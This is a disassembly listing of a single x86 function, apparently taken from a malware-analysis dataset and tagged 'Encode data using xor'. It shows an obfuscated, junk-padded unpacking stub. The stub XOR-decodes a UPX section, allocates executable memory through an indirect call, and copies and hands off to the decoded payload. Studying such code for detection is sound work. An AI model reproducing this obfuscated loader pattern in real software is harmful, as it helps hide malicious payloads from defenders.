Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7a5ac9d9
mov eax, 0x9798d059
sub eax, ebx
popal
sub eax, 0xd8d05d0a
add eax, eax
not ebx
mov ecx, 0
mov ebx, edi
add eax, esi
sub esi, eax
mov edx, ebx
add esi, eax
add eax, esi
mov edi, edx
mov esi, eax
sub esi, 0xadbf359c
sub eax, 0xcee5b306
inc ecx
mov eax, 0xb86d23ac
add eax, 0x968d8396
cmp ecx, 0x10091c3
jne 0x47b451
mov eax, 0xe138d991
inc eax
mov esi, eax
add eax, 1
add eax, 0x4e9354ab
or ebx, eax
mov ecx, 0x47b21e
add edx, edx
sub edx, 1
add esi, edi
mov eax, 0x47b412
inc esi
sub edi, edx
mov ebx, dword [ecx]
not esi
and esi, edx
and ebx, 0xff
sub edi, esi
mov edx, edi
xor dword [eax], ebx
inc edi
not edi
add edi, 0x364a821b
inc eax
sub edi, edx
add edx, esi
inc ecx
or esi, edi
dec esi
cmp eax, entry0
jl 0x47b4b2
sub edx, 1
mov edi, 0xab72214a
or edi, esi
mov edx, 0xe628d833
mov edx, edi
add esi, 0x17844d7e
mov esi, edx
dec ebx
mov edi, 0x47b416
mov ecx, ebx
add ebx, 0x2eec712f
or esi, ebx
mov edi, dword [edi]
dec ebx
and ecx, ebx
mov edi, dword [edi]
add esi, 0xee0fc9dc
sub esi, 0x628b80d4
push edi
sub edx, 1
dec esi
mov edi, 0x47b412
add esi, 0x6d0d57ce
or esi, esi
mov edi, dword [edi]
sub ebx, esi
or esi, edx
mov edi, dword [edi]
dec esi
and ebx, ecx
mov ecx, ebx
push 0x47b41a
and ebx, ebx
and ecx, ecx
call edi
dec edx
mov ecx, edx
mov ebx, 0x21cac010
pop edi
add esi, 0xe753459f
add edx, 0xb65dae67
push 0x47b427
and edx, ebx
or ebx, ebx
mov edx, 0x55363d88
sub esp, 4
mov dword [esp], eax
sub ecx, 0xb1701c3
not ebx
or edx, esi
call edi
sub ebx, esi
add ebx, ecx
sub ecx, 0x1d4aab9f
sub esp, 4
mov dword [esp], 0x40
sub esi, 0x408202b8
inc esi
mov edx, 0xb7796736
push 0x3000
sub esi, ebx
sub ebx, 0xfef83f4d
push 0x20000ed3
mov ebx, 0xa9b5f21e
not esi
sub esp, 4
mov dword [esp], 0
sub ebx, 1
sub ecx, 1
call eax
mov ebx, 0x51e37b76
inc ecx
sub esi, 0x433cfcc
add eax, 0x20000e24
dec edx
dec edx
mov edi, 0x80df0a83
sub edx, ebx
not edx
mov dword [eax], edi
dec esi
add ebx, esi
mov edi, dword [eax]
mov ecx, esi
sub ecx, esi
or edx, ecx
cmp edi, 0x80df0a83
je 0x47b60d
mov ebx, 0
mov ecx, dword [ebx]
or ecx, edx
add edx, 0x2eb82aef
or ebx, edx
sub edx, 0x16dcc5aa
and esi, esi
and edx, ecx
sub eax, ebx
add eax, eax
sub ebx, 1
mov edi, section.UPX1
mov ebx, eax
sub eax, ebx
dec eax
mov ecx, 0x47b21d
not eax
not eax
mov esi, 0
not ebx
and eax, eax
sub ebx, 0x362cff4
mov edx, 0x47b21e
mov ebx, eax
inc ebx
lea edx, [edx + esi]
and eax, ebx
mov eax, 0xbdfc066c
mov edx, dword [edx]
sub ebx, 0x7a55d5f0
add ebx, 1
add eax, 0x59c22bc4
and edx, 0xff
sub ebx, eax
add ebx, ebx
add esi, 1
and eax, eax
mov eax, 0xba4c4ac9
sub eax, 1
cmp esi, 0x1f4
jne 0x47b69d
mov esi, 0
mov eax, 0x862ba828
not ebx
or ebx, ebx
sub eax, ebx
sub eax, 0x3eb864ac
mov ebx, 0xfe238967
xor dword [edi], edx
or ebx, ebx
sub eax, ebx
add edi, 2
add ebx, ebx
add eax, 0x7aa8869a
mov ebx, 0x654c1428
cmp edi, ecx
jl 0x47b64d
inc eax
add eax, 1
dec ebx
add eax, 1
mov esi, section.UPX1
sub ecx, 0x25b965db
mov ebx, 0xe4fbf196
not ecx
mov eax, section.UPX1
or ebx, ecx
sub ebx, 0x764f5e4d
mov ebx, ecx
mov edi, 0x47b21d
add ecx, 0xfd28aec0
inc ebx
mov edx, 0
mov ebx, ecx
add ecx, 0xa2079412
inc ebx
mov dl, byte [eax]
mov ecx, 0x645abf69
mov ecx, 0x8f79ea74
and ecx, ecx
mov byte [esi], dl
not ecx
mov ecx, 0x3a978eab
add esi, 1
add ecx, ecx
mov ecx, ebx
sub ecx, 0x30cf1b28
add eax, 2
inc ecx
inc ebx
cmp eax, edi
jle 0x47b71d
mov ecx, 0x32c8fafd
dec ecx
mov ecx, ebx
mov eax, 0x94d3ac3a
inc eax
add ebx, ebx
sub esp, 4
mov dword [esp], 0x45e6a0
and ebx, eax
inc eax
ret